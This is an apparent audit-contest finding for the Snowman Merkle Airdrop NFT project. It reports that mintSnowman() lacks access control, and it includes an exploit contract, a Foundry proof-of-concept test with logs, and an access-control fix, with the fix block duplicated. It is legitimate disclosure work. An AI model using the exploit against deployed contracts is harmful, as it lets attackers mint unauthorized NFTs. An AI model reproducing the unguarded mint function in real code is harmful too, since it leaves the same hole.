Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Snowman.mintSnowman() has no access control — anyone can mint unlimited NFTs bypassing the entire airdrop mechanism

Summary

Snowman.mintSnowman() is an external function with no access control modifier — no onlyOwner, no role check, no caller restriction. Any address can call it directly to mint unlimited Snowman NFTs to any receiver, completely bypassing the Merkle proof verification, ECDSA signature validation, and Snow token staking requirements in SnowmanAirdrop.sol.

Vulnerability Details

In Snowman.sol line 36-44:

function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

This function is intended to be called ONLY by the SnowmanAirdrop contract after verifying:

  1. Merkle proof validity (MerkleProof.verify)

  2. ECDSA signature from the receiver (SignatureChecker.isValidSignatureNow)

  3. Snow token balance and transfer (i_snow.safeTransferFrom)

However, since there is no access control, any external caller can invoke mintSnowman() directly on the Snowman contract, bypassing all verification.

Impact

  • Unlimited NFT minting: Attacker can mint any number of Snowman NFTs to any address with zero cost (only gas)

  • Complete airdrop bypass: The entire Merkle tree verification, signature checking, and Snow token staking mechanism becomes meaningless

  • Protocol integrity destroyed: The NFT collection has no scarcity or fairness guarantee — the airdrop is rendered completely pointless

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Snowman} from "../src/Snowman.sol";
contract SnowmanExploit {
function attack(address snowmanContract) external {
// No Snow tokens needed, no Merkle proof, no signature
// Just call mintSnowman directly
Snowman(snowmanContract).mintSnowman(msg.sender, 1_000_000);
// Attacker now has 1,000,000 Snowman NFTs
}
}

Steps:

  1. Deploy the exploit contract (or call directly from an EOA)

  2. Call Snowman.mintSnowman(attackerAddress, 1000000)

  3. Attacker receives 1,000,000 Snowman NFTs without:

    • Being in the Merkle tree

    • Providing any signature

    • Holding or transferring any Snow tokens

Recommended Fix

Add an access control modifier to restrict mintSnowman() to only the SnowmanAirdrop contract:

error SM__Unauthorized();
address private immutable i_airdropContract;
constructor(address airdropContract, /* ...existing params... */) {
i_airdropContract = airdropContract;
}
modifier onlyAirdrop() {
if (msg.sender != i_airdropContract) revert SM__Unauthorized();
_;
}
function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
error SM__Unauthorized();
address private immutable i_airdropContract;
constructor(address airdropContract, /* ...existing params... */) {
i_airdropContract = airdropContract;
}
modifier onlyAirdrop() {
if (msg.sender != i_airdropContract) revert SM__Unauthorized();
_;
}
function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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